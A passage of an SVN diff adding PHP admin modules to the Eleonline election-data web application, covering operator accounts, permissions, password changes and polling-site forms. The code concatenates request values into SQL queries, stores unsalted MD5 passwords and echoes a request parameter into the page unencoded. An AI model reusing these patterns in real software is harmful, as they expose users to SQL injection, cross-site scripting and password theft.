+	echo "<td bgcolor=\"$bgcolor1\"><b>"._NOME."</b></td>"
+	."<td bgcolor=\"$bgcolor1\"><b>"._EMAIL."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._FUNZIONI."</b></td></tr>";
+	echo "<tr align=\"center\"><td>";
+	echo "<input type=\"hidden\" name=\"op\" value=\"operatori\">"
+	."<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\">";
+	if ($perms==256 and $aid2==''){
+		if($esiste) $supadm=''; else $supadm='admin';
+		echo "<input name=\"aid2\" value=\"$supadm\"></td>";
+	}else
+		echo "<input name=\"aid2\" value=\"$aid2\"></td>";
+	echo "<td  align=\"center\"><input type=password name=\"passwd\" size=\"12\"></td>";
+	echo "<td  align=\"center\"><input type=password name=\"passwd2\" size=\"12\"></td>";
+	echo "<td><input name=\"name\" value=\"$name\"></td>";
+	echo "<td><input name=\"email\" value=\"$email\">";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<input type=\"hidden\" name=\"ok\" value=0></td>";
+	if ($aid2) {
+		echo "<td><input type=\"hidden\" name=\"do\" value=\"update\">";
+		echo "<input type=\"submit\" name=\"add\" value=\""._MODIFY."\"></td></tr>";
+	}else{
+		echo "<td><input type=\"hidden\" name=\"do\" value=\"add\">";
+		echo "<input type=\"submit\" name=\"add\" value=\""._NEW." "._UTENTE."\"></td></tr>";
+	}
+	echo "</table></form><br>";
+
+	CloseTable();
+}
+
+function operatori($do,$aid2,$name,$email,$passwd,$passwd2,$id_comune) {
+	global $aid, $prefix, $dbi, $id_cons,$id_cons_gen,$currentlang;
+	$perms=ChiSei($id_cons_gen);
+       
+	if ($perms!=256) $id_comune=$_SESSION['id_comune'];
+	if ($perms>32 and $aid2) {
+		if ($do == "add") {
+			$sql="select * from ".$prefix."_authors where aid='$aid2' and id_comune=$id_comune";
+			$res=mysql_query($sql,$dbi);
+			$max=mysql_num_rows($res);
+			if ($passwd==$passwd2 and $max==0){
+				if ($aid2=='admin') $super='1,0,0,'; else $super = '0,1,0,';
+				$sql="insert into ".$prefix."_authors (aid,name,id_comune,email,pwd,counter,adminop,admincomune,adminsuper,admlanguage) values ('$aid2','$name','$id_comune' , '$email','".md5($passwd)."',0,$super'$currentlang')";
+				$result = mysql_query($sql, $dbi)||die("Errore 1301: Non e' stato possibile inserire l'utente!<br>$sql<br>".mysql_error());
+				if ($perms==256 and $aid2=='admin'){
+					$result = mysql_query("insert into ".$prefix."_ele_operatori (id_cons,id_sede,id_comune,permessi,aid) values ('0','0','$id_comune','64','$aid2')", $dbi) || die("<br><br>Errore di inserimento: ".mysql_error());
+				}
+			Header("Location: admin.php?op=operatori&id_cons_gen=$id_cons_gen");
+			}else{
+				$mex='';
+				if($passwd!=$passwd2) $mex="- Le password non coincidono! -<br>";
+				if($max>0) $mex.=" - Utente <b>$aid2</b> presente in archivio! - ";
+				header("location:admin.php?op=operatori&id_cons_gen=$id_cons_gen&aid2=$aid2&name=$name&email=$email&mex=$mex");
+			}
+		} elseif ($do == "update") {
+			$result = mysql_query("update  ".$prefix."_authors set name='$name',pwd='".md5($passwd)."', email='$email' where id_comune='$id_comune' and aid='$aid2' ", $dbi);
+			if (!$result) return;
+			if ($aid2==$aid) $_SESSION['pwd']=md5($passwd);
+			Header("Location: admin.php?op=operatori&id_cons_gen=$id_cons_gen");
+		}
+	} 
+}
+
+	
+//****************************
+// switch
+//****************************
+	if ($do) operatori($do,$aid2,$name,$email,$passwd,$passwd2,$id_comune);
+	ele();
+	all();
+	echo"</td></tr></table>";
+	include("footer.php");
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_operatori_admin.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_operatori_admin.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_operatori_admin.php	(revision 44)
@@ -0,0 +1,161 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Amministratori                                                */
+/* Amministrazione                                                      */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+// Offset - visualizza il numero di elementi per pagina
+$offset=15;
+if (!isset($min)) $min=0;
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+if (isset($_GET['do'])) $do=$_GET['do']; else $do='';
+
+$id_cons_gen=$_GET['id_cons_gen'];
+$perms=ChiSei(0);
+if ($perms!=256) die("Non hai i permessi per inserire dati!");
+if (isset($_GET['aid2'])) get_magic_quotes_gpc() ? $aid2=$param['aid2']:$aid2=addslashes($param['aid2']); else $aid2='';
+if (isset($_GET['id_sede'])) $id_sede=intval($_GET['id_sede']); else $id_sede='';
+if (isset($_GET['id_comune2'])) $id_comune2=intval($_GET['id_comune2']); else $id_comune2='';
+if (isset($_GET['id_cons_gen'])) $id_cons_gen=intval($_GET['id_cons_gen']); else $id_cons_gen='';
+
+
+$res = mysql_query("SELECT t1.tipo_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t1.id_cons_gen='$id_cons_gen' " , $dbi);
+list($tipo_cons) = mysql_fetch_row($res);
+
+$hiddenInfo = "<input type=\"hidden\" name=\"min\" value=\"$min\">";
+
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/******************************************************/
+//crea la pagina delle affluenze
+function all() {
+	global $bgcolor1, $bgcolor2, $prefix,$aid2,$perms,$id_sede,$id_comune2,$id_cons_gen;
+	$aid=$_SESSION['aid'];
+	$dbi=$_SESSION['dbi'];
+	$prefix=$_SESSION['prefix'];
+
+	OpenTable();	
+	
+	$resmod = mysql_query("SELECT id_comune,permessi FROM ".$prefix."_ele_operatori where id_cons='0' and aid='$aid' and id_comune='0'", $dbi);
+	list ($id_comu,$permessi) = mysql_fetch_row($resmod);
+	if ($perms!=256) 
+	{
+	Closetable();
+	return;
+	}
+	$resmod = mysql_query("SELECT * FROM ".$prefix."_ele_operatori where id_cons=0 and id_comune>0", $dbi);
+	echo "<table><tr></tr><hr><tr align=\"center\">";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._UTENTE."</b></td>"
+	."<td bgcolor=\"$bgcolor1\"><b>"._DEFCOMUNE."</b></td>"
+	."<td bgcolor=\"$bgcolor1\"><b>"._PERMESSI."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._FUNZIONI."</b></td></tr>";
+	echo "<form name=\"modello\" action=\"admin.php\">"
+		."<input type=\"hidden\" name=\"op\" value=\"oper_admin\">";
+	echo "<tr align=\"center\">";
+	if ($aid2) {
+		echo "<input type=\"hidden\" name=\"aid2\" value=\"$aid2\"><td  align=\"center\" width=\"32\">$aid2</td>";
+	}else{
+		echo "<td  align=\"center\" width=\"32\"><input name=\"aid2\"></td>";
+	}
+	$ressede = mysql_query("SELECT id_comune, descrizione from ".$prefix."_ele_comuni", $dbi);
+	echo "<td><select name=\"id_comune2\">";
+	echo "<option value=\"\">";
+	while(list($id,$descr)=mysql_fetch_row($ressede)){
+		$sel= ($id == $id_comune2) ? "selected":"";
+		$arr[$id]="$descr";
+		echo "<option value=\"$id\" $sel>$descr";
+	}
+	echo "</select></td>";
+	echo "<td  align=\"center\" width=\"32\"><select name=\"permessi\">";
+	$sel0='';$sel64='';
+	if($permessi=='0') $sel0="selected";elseif($permessi=='64') $sel64="selected";
+	echo "<option value=\"\">";
+	echo "<option value=\"64\" $sel64>"._ATTIVO;
+	echo "<option value=\"0\" $sel0>"._SOSPESO."</td>";
+	echo "</select></td>";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	if ($aid2) {
+		echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+		echo "<td><input type=\"submit\" name=\"add\" value=\""._MODIFY."\"></td></tr></form>";
+	}else{
+		echo "<input type=\"hidden\" name=\"do\" value=\"add\">";
+		echo "<td><input type=\"submit\" name=\"add\" value=\""._ADD."\"></td></tr></form>";
+	}
+	$i=1;
+	while (list($id_cons2,$id_sede2,$id_comune2,$perm,$utente) = mysql_fetch_row($resmod)){ //elenco dei modelli inseriti
+		$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+		echo "<form name=\"modello$i\" action=\"admin.php\">"
+			."<input type=\"hidden\" name=\"op\" value=\"oper_admin\">";
+		echo "<input type=\"hidden\" name=\"id_comune2\" value=\"$id_comune2\">";
+		echo "<input type=\"hidden\" name=\"aid2\" value=\"$utente\">";
+		echo "<input type=\"hidden\" name=\"permessi\" value=\"$perm\">";
+		echo "<tr align=\"center\" bgcolor=\"$bgcolor1\">";
+		echo "<td width=\"32\"><b>$utente</b></td>";
+		echo "<td width=\"32\"><b>".$arr[$id_comune2]."</b></td>";
+		if ($perm==64) {$perm_text=_ATTIVO;}else{$perm_text=_SOSPESO;}
+		echo "<td width=\"32\"><b>$perm_text</b></td>";
+		echo "</td><td nowrap>[<a
+		href=\"admin.php?op=oper_admin&amp;aid2=$utente&amp;id_cons_gen=$id_cons_gen&amp;id_comune2=$id_comune2&amp;permessi=$perm\"><img align=\"center\" src=\"modules/Elezioni/images/edit.gif\"
+		border=\"0\"> "._EDIT."</a>]";
+		echo "</tr></form>";
+		$i++;
+	}
+	echo "</table>";
+	CloseTable();
+}
+
+function oper_admin() {
+	global $bgcolor1, $bgcolor2, $prefix, $dbi,$id_cons_gen;
+	$aid=$_SESSION['aid'];
+	$dbi=$_SESSION['dbi'];
+	$prefix=$_SESSION['prefix'];
+	$pwd=$_SESSION['pwd'];
+	$perms=ChiSei(0);
+	if ($perms==256) {
+		$aid2=$_GET['aid2'];
+		$do=$_GET['do'];
+		$id_comune2=$_GET['id_comune2'];
+		$permessi=$_GET['permessi'];
+		if ($do == "add") {
+			if ($aid2) {
+				$result = mysql_query("select * from ".$prefix."_ele_operatori where aid='$aid2'", $dbi);
+				$result = mysql_query("insert into ".$prefix."_ele_operatori (id_cons,id_sede,id_comune,permessi,aid) values ('0','0','$id_comune2','$permessi','$aid2')", $dbi) || die("<br><br>Errore di inserimento: ".mysql_error());
+				Header("Location: admin.php?op=oper_admin&id_cons_gen=$id_cons_gen");
+			} else {
+				OpenTable();
+				echo "<center>"._GESTIONE." "._OPERATORI." aid=$aid2; ";
+				echo "<br><br><a href=\"admin.php?op=oper_admin&amp;id_cons_gen=$id_cons_gen\">"._IMM." "._OPERATORI."</a></center>";
+				CloseTable();
+			}
+		}else if ($do == "update") {
+			$result = mysql_query("update  ".$prefix."_ele_operatori set permessi='$permessi' where id_cons='0' and aid='$aid2' ", $dbi) || die("<br><br>Errore di inserimento: ".mysql_error());
+			Header("Location: admin.php?op=oper_admin&id_cons_gen=$id_cons_gen");
+		} 
+	}else die("Non ci provare...");
+}
+
+//****************************
+// switch
+//****************************
+	if ($do!="")
+    		oper_admin();
+	include("modules/Elezioni/funzionidata.php");
+	include("modules/Elezioni/ele.php");
+	ele();
+	all();
+	include("footer.php");
+
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_permessi.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_permessi.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_permessi.php	(revision 44)
@@ -0,0 +1,168 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Permessi                                                     */
+/* Amministrazione                                                     */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=$param['id_cons_gen'];
+
+$perms=ChiSei($id_cons_gen);
+if ($perms<64 or !$id_cons_gen) die("Non hai i permessi per inserire dati ($perms)($id_cons_gen), o non hai scelto la consultazione!");
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+if (isset($param['aid2'])) get_magic_quotes_gpc() ? $aid2=$param['aid2']:$aid2=addslashes($param['aid2']); else $aid2='';
+if (isset($param['id_sede'])) $id_sede=intval($param['id_sede']); else $id_sede='';
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['permessi'])) get_magic_quotes_gpc() ? $permessi=$param['permessi']:$permessi=addslashes($param['permessi']); else $permessi='';
+if (isset($param['id_comune2'])) $id_comune2=intval($param['id_comune2']); else $id_comune2='';
+if (isset($param['ok'])) $ok=intval($param['ok']); else $ok='';
+if (isset($param['mex'])) get_magic_quotes_gpc() ? $mex=$param['mex']:$mex=addslashes($param['mex']); else $mex='';
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+//crea la pagina delle affluenze
+function all() {
+	global $adminop,$adminsuper,$admincomune,$aid, $offset, $prefix, $dbi,$id_cons,$aid2,$permessi,$id_sede,$id_cons_gen,$id_comune,$mex;
+	$bgcolor1=$_SESSION['bgcolor1'];
+	if (isset($mex)){
+		echo "<table align=\"center\"><tr><td style=\"background-color: rgb(255, 0, 0)\">";
+		echo $mex;
+		echo "</td></tr></table>";
+	}	
+	OpenTable();
+	$resmod = mysql_query("SELECT * FROM ".$prefix."_ele_operatori where id_cons=$id_cons and permessi<64 order by aid", $dbi);
+
+	echo "<br><table><tr align=\"center\" bgcolor=\"$bgcolor1\">";
+	echo "<td><b>"._UTENTE."</b></td>"
+	."<td bgcolor=\"$bgcolor1\"><b>"._SEDE."</b></td>"
+	."<td bgcolor=\"$bgcolor1\"><b>"._PERMESSI."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\"><b>"._FUNZIONI."</b></td></tr>";
+
+	
+		
+	$restmp = mysql_query("SELECT aid FROM ".$prefix."_ele_operatori where id_cons=$id_cons and permessi<64 order by aid", $dbi);
+	if($restmp) {
+	$listmp='';$virg='';
+	while (list($artmp) = mysql_fetch_row($restmp)){ //elenco degli operatori gia' autorizzati
+		$listmp .= $virg."'".$artmp."'";
+		$virg=',';
+	}
+	}
+        
+	if (!$listmp) $listmp="''";
+	$resins = mysql_query("select aid from ".$prefix."_authors where id_comune=$id_comune and (admincomune=1 and aid not in ($listmp)) order by aid",$dbi); // operatori registrati ma non ancora autorizzati
+	
+         
+	echo "<form name=\"autorizza\" action=\"admin.php\">"
+	."<input type=\"hidden\" name=\"op\" value=\"permessi\">";
+	echo "<tr align=\"center\">";
+	echo "<td><select name=\"aid2\">";
+	echo "<option value=\"\">";
+	if($resins) {
+		while(list($utente)=mysql_fetch_row($resins)){
+			echo "<option value=\"$utente\">$utente";
+		}
+	}
+	echo "</select></td>";
+	$ressede = mysql_query("SELECT id_sede, indirizzo from ".$prefix."_ele_sede where id_cons=$id_cons", $dbi);
+	echo "<td><select name=\"id_sede\">";
+	echo "<option value=\"0\"> "._TUTTESEDI;
+	if($ressede)
+	while(list($id,$descr)=mysql_fetch_row($ressede)){
+		$sel= ($id == $id_sede) ? "selected":"";
+		$arr[$id]=$descr;
+		echo "<option value=\"$id\" $sel>$descr";
+	}
+	echo "</select></td>";
+	echo "<td><select name=\"permessi\">";
+	if(!isset($permessi)) $permessi=16;
+	$sel=($permessi==32) ? "selected":"";
+	echo "<option value=\"32\" $sel>"._IMPOSTA_DATI;
+	$sel=($permessi==16) ? "selected":"";
+	echo "<option value=\"16\" $sel>"._INSERISCE_DATI;
+	$sel=($permessi==0) ? "selected":"";
+	echo "<option value=\"0\" $sel>"._SOSPESO;
+	echo "</select></td>";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	echo "<input type=\"hidden\" name=\"ok\" value=0>";
+	echo "<input type=\"hidden\" name=\"do\" value=\"autorizza\">";
+	echo "<td><input type=\"submit\" name=\"add\" value=\""._AGGIUNGI."\"></td></tr></form></table>";
+	echo "<br><hr><br><table>";
+	if($resmod){
+		$i=1;
+		while (list($id_cons2,$id_sede2,$id_comunetemp,$perm,$utente) = mysql_fetch_row($resmod)){ 
+			$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+			echo "<form name=\"modello$i\" action=\"admin.php\">"
+				."<input type=\"hidden\" name=\"op\" value=\"permessi\">";
+			echo "<input type=\"hidden\" name=\"do\" value=\"update\">";
+			echo "<input type=\"hidden\" name=\"aid2\" value=\"$utente\">";
+			echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+			echo "<input type=\"hidden\" name=\"ok\" value=0>";
+			echo "<tr align=\"center\" bgcolor=\"$bgcolor1\">";
+			echo "<td  align=\"center\" width=\"32\"><b>$utente</b></td>";
+			$ressede = mysql_query("SELECT id_sede, indirizzo from ".$prefix."_ele_sede where id_cons=$id_cons", $dbi);
+			echo "<td><select name=\"id_sede\">";
+			echo "<option value=\"0\"> "._TUTTESEDI;
+			while(list($id,$descr)=mysql_fetch_row($ressede)){
+				$sel= ($id == $id_sede2) ? "selected":"";
+				$arr[$id]=$descr;
+				echo "<option value=\"$id\" $sel>$descr";
+			}
+			echo "</select></td>";
+			echo "<td><select name=\"permessi\">";
+			if(!isset($perm)) $perm=16;
+			$sel=($perm==32) ? "selected":"";
+			echo "<option value=\"32\" $sel>"._IMPOSTA_DATI;
+			$sel=($perm==16) ? "selected":"";
+			echo "<option value=\"16\" $sel>"._INSERISCE_DATI;
+			$sel=($perm==0) ? "selected":"";
+			echo "<option value=\"0\" $sel>"._SOSPESO;
+			echo "</select></td>";
+			echo "<td><input type=\"submit\" name=\"add\" value=\""._OK."\"></td></tr></form>";
+			$i++;
+		}
+	}
+	echo "</table>";
+	CloseTable();
+}
+
+function permessi($ok, $do,$aid2,$id_sede,$permessi,$id_comune) {
+	global $prefix, $dbi, $id_cons,$id_cons_gen,$currentlang;
+	$perms=ChiSei($id_cons_gen);
+	if ($perms!=256) $id_comune=$_SESSION['id_comune'];
+	if ($perms>32 and $permessi<$perms and $aid2) {
+		if ($do == "autorizza") {
+			$result = mysql_query("insert into ".$prefix."_ele_operatori (id_cons,id_sede,id_comune,permessi,aid) values ('$id_cons','$id_sede','$id_comune','$permessi','$aid2')", $dbi)||die("Errore 1301: Non e' stato possibile inserire l'utente!".mysql_error());
+			Header("Location: admin.php?op=permessi&id_cons_gen=$id_cons_gen");
+		} elseif ($do == "update") {
+			$result = mysql_query("update  ".$prefix."_ele_operatori set id_sede='$id_sede' , permessi='$permessi' where id_cons='$id_cons' and aid='$aid2' ", $dbi);
+			if (!$result) return;
+			Header("Location: admin.php?op=permessi&id_cons_gen=$id_cons_gen");
+		}
+	} 
+}
+
+	
+//****************************
+// switch
+//****************************
+	if ($do) permessi($ok, $do,$aid2,$id_sede,$permessi,$id_comune);
+	ele();
+	all();
+	include("footer.php");
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_pwd.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_pwd.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_pwd.php	(revision 44)
@@ -0,0 +1,86 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo cambio password amministrazione                               */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$id_comune=$_SESSION['id_comune'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=$param['id_cons_gen'];
+$perms=ChiSei($id_cons_gen);
+
+
+if (isset($param['pwd1'])) get_magic_quotes_gpc() ? $pwd1=$param['pwd1']:$pwd1=addslashes($param['pwd1']); else $pwd1='';
+if (isset($param['pwd2'])) get_magic_quotes_gpc() ? $pwd2=$param['pwd2']:$pwd2=addslashes($param['pwd2']); else $pwd2='';
+if (isset($param['oldpwd'])) get_magic_quotes_gpc() ? $oldpwd=$param['oldpwd']:$oldpwd=addslashes($param['oldpwd']); else $oldpwd='';
+if (isset($param['op'])) get_magic_quotes_gpc() ? $op=$param['op']:$op=addslashes($param['op']); else $op='cambiopwd';
+if (isset($param['mex'])) $mex=intval($param['mex']); else $mex='';
+
+/*********************************************************/
+/* cambiopwd Functions                                    */
+/*********************************************************/
+
+include("modules/Elezioni/ele.php");
+
+function cambiopwd() {
+    global $admin, $bgcolor1, $bgcolor2, $prefix, $dbi, $id_cons_gen, $op, $mex;
+    if ($mex==1)
+        echo "<center><font class=\"title\"><b>"._ERRPWD."</b></font></center><br>";
+    else
+        echo "<center><font class=\"title\"><b>"._CHGPWD."</b></font></center><br>";
+    echo "<br><br><table border=\"0\" width=\"100%\" ><tr>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._OLDPWD."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._NEWPWD1."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._NEWPWD2."</b></td><td>&nbsp;</td></tr>";
+    echo "<form name=\"cngpwd\" action=\"admin.php\" method=\"post\" >";
+    echo "<tr>"
+	."<td align=\"center\"> <input type=\"password\" name=\"oldpwd\" value=\"\"></td>"
+	."<td align=\"center\"> <input type=\"password\" name=\"pwd1\" value=\"\"></td>"
+	."<td align=\"center\"> <input type=\"password\" name=\"pwd2\" value=\"\"></td>";
+    echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+	."<input type=\"hidden\" name=\"op\" value=\"$op\">";
+    echo "<td align=\"center\"> <input type=\"submit\" value=\""._OK."\"></td>";
+    echo "</form>";
+    
+    echo "</tr></table></center><br>";
+}
+
+function savepwd($oldpwd,$pwd1,$pwd2) {
+    global $prefix, $dbi,$id_cons_gen,$op;
+    $aid=$_SESSION['aid'];
+    if ($pwd1==$pwd2 and md5($oldpwd)==$_SESSION['pwd']) {
+        $result = mysql_query("update ".$prefix."_authors set pwd='".md5($pwd1)."' WHERE aid='$aid' and pwd='".md5($oldpwd)."'", $dbi) || die("Errore di accesso ai dati!".mysql_error());
+        $_SESSION['pwd']=md5($pwd1);
+    }else{
+	Header("Location: admin.php?op=$op&id_cons_gen=$id_cons_gen&mex=1");die();
+    }
+    Header("Location: admin.php?id_cons_gen=$id_cons_gen");
+}
+
+
+
+
+if ($oldpwd!='' and $pwd1!='') {
+	savepwd($oldpwd,$pwd1,$pwd2);
+} else {//die($pwdold."!=\'\' and ".$pwd1."!=\'\'");
+	ele();
+	cambiopwd();
+}
+echo"</td></tr></table>";
+include("footer.php");
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_sede.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_sede.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_sede.php	(revision 44)
@@ -0,0 +1,264 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo sedi                                                          */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+$id_comune=$_SESSION['id_comune'];
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+
+if (isset($param['id_cons_gen'])) $id_cons_gen=intval($param['id_cons_gen']); else $id_cons_gen='0';
+
+$perms=ChiSei($id_cons_gen);
+if ($perms>16) {
+
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['descr_circ'])) get_magic_quotes_gpc() ? $descr_circ=$param['descr_circ']:$descr_circ=addslashes($param['descr_circ']); else $descr_circ='';
+if (isset($param['min'])) $min=intval($param['min']); else $min=0;
+if (isset($param['id_sede'])) $id_sede=intval($param['id_sede']); else $id_sede='';
+if (isset($param['ok'])) $ok=intval($param['ok']); else $ok='';
+if (isset($param['num_circ'])) $num_circ=intval($param['num_circ']); else $num_circ='';
+if (isset($param['id_circ'])) $id_circ=intval($param['id_circ']); else $id_circ='';
+if (isset($param['id_sede2'])) $id_sede2=intval($param['id_sede2']); else $id_sede2='';
+if (isset($param['indir'])) get_magic_quotes_gpc() ? $indir=$param['indir']:$indir=addslashes($param['indir']); else $indir='';
+if (isset($param['tel1'])) get_magic_quotes_gpc() ? $tel1=$param['tel1']:$tel1=addslashes($param['tel1']); else $tel1='';
+if (isset($param['tel2'])) get_magic_quotes_gpc() ? $tel2=$param['tel2']:$tel2=addslashes($param['tel2']); else $tel2='';
+if (isset($param['fax'])) get_magic_quotes_gpc() ? $fax=$param['fax']:$fax=addslashes($param['fax']); else $fax='';
+if (isset($param['resp'])) get_magic_quotes_gpc() ? $resp=$param['resp']:$resp=addslashes($param['resp']); else $resp='';
+if (isset($param['filemappa'])) get_magic_quotes_gpc() ? $filemappa=$param['filemappa']:$filemappa=addslashes($param['filemappa']); else $filemappa='';
+if (isset($param['mappa'])) get_magic_quotes_gpc() ? $mappa=$param['mappa']:$mappa=addslashes($param['mappa']); else $mappa='';
+
+
+
+// Offset - visualizza il numero di elementi per pagina
+
+$offset=15;
+$hiddenInfo = "<input type=\"hidden\" name=\"min\" value=\"$min\">";
+
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+
+function all() {
+   global $bgcolor1, $bgcolor2, $prefix, $dbi, $offset, $min,$id_cons,$id_cons_gen,$do,$id_sede,$id_circ;
+
+   echo "<center><font class=\"title\"><br><b>"._SEDE."</b></font><br><br><table border=\"0\" width=\"100%\" >"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._CIRCO."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._INDIRIZZO."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._MAPPA."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._TEL."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._FAX."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\">&nbsp;<b>"._RESP."</b>&nbsp;</td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._FUNZIONI."</b></td></tr>";
+	
+	echo "<form name=\"sede2\" enctype=\"multipart/form-data\"  action=\"admin.php\" method=\"post\">"
+	."<input type=\"hidden\" name=\"op\" value=\"sede\">"
+	."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">";
+	if ($id_sede){
+		$res = mysql_query("SELECT * FROM ".$prefix."_ele_sede where id_sede='$id_sede'", $dbi);
+		$pro= mysql_fetch_array($res, 3);
+	}else{
+		$pro['indirizzo']='';$pro['filemappa']='';$pro['telefono1']='';$pro['fax']='';
+		$pro['responsabile']='';$pro['id_circ']='';
+	}
+		echo "<tr><td align=\"right\"><select name=\"id_circ\">";
+		$res= mysql_query("SELECT id_circ,descrizione FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons' order by num_circ", $dbi);
+		while(list($id,$descr) = mysql_fetch_row($res)) {
+			if ($id == $pro['id_circ']) {
+				$sel = "selected";
+			} else {
+				$sel = "";
+			}
+			echo "<option value=\"$id\" $sel>$descr";
+		}
+		echo "</select></td>"; 
+		
+		echo "<td><input type=\"text\" name=\"indir\" maxlength=\"40\" value=\"".$pro['indirizzo']."\"></td>"
+		."<td><input type=\"file\" name=\"mappa\" size=\"12\" value=\"".$pro['filemappa']."\"></td>"
+      ."<td><input type=\"text\" name=\"tel1\" size=\"10\" value=\"".$pro['telefono1']."\"></td>"
+      ."<td><input type=\"text\" name=\"fax\" maxlength=\"12\" size=\"10\" value=\"".$pro['fax']."\"></td>"
+
+      ."<td><input type=\"text\" name=\"resp\" maxlength=\"60\" value=\"".$pro['responsabile']."\"></td>";
+	if ($do == "modify"){
+		echo "<input type=\"hidden\" name=\"id_sede\" value=\"$id_sede\">"
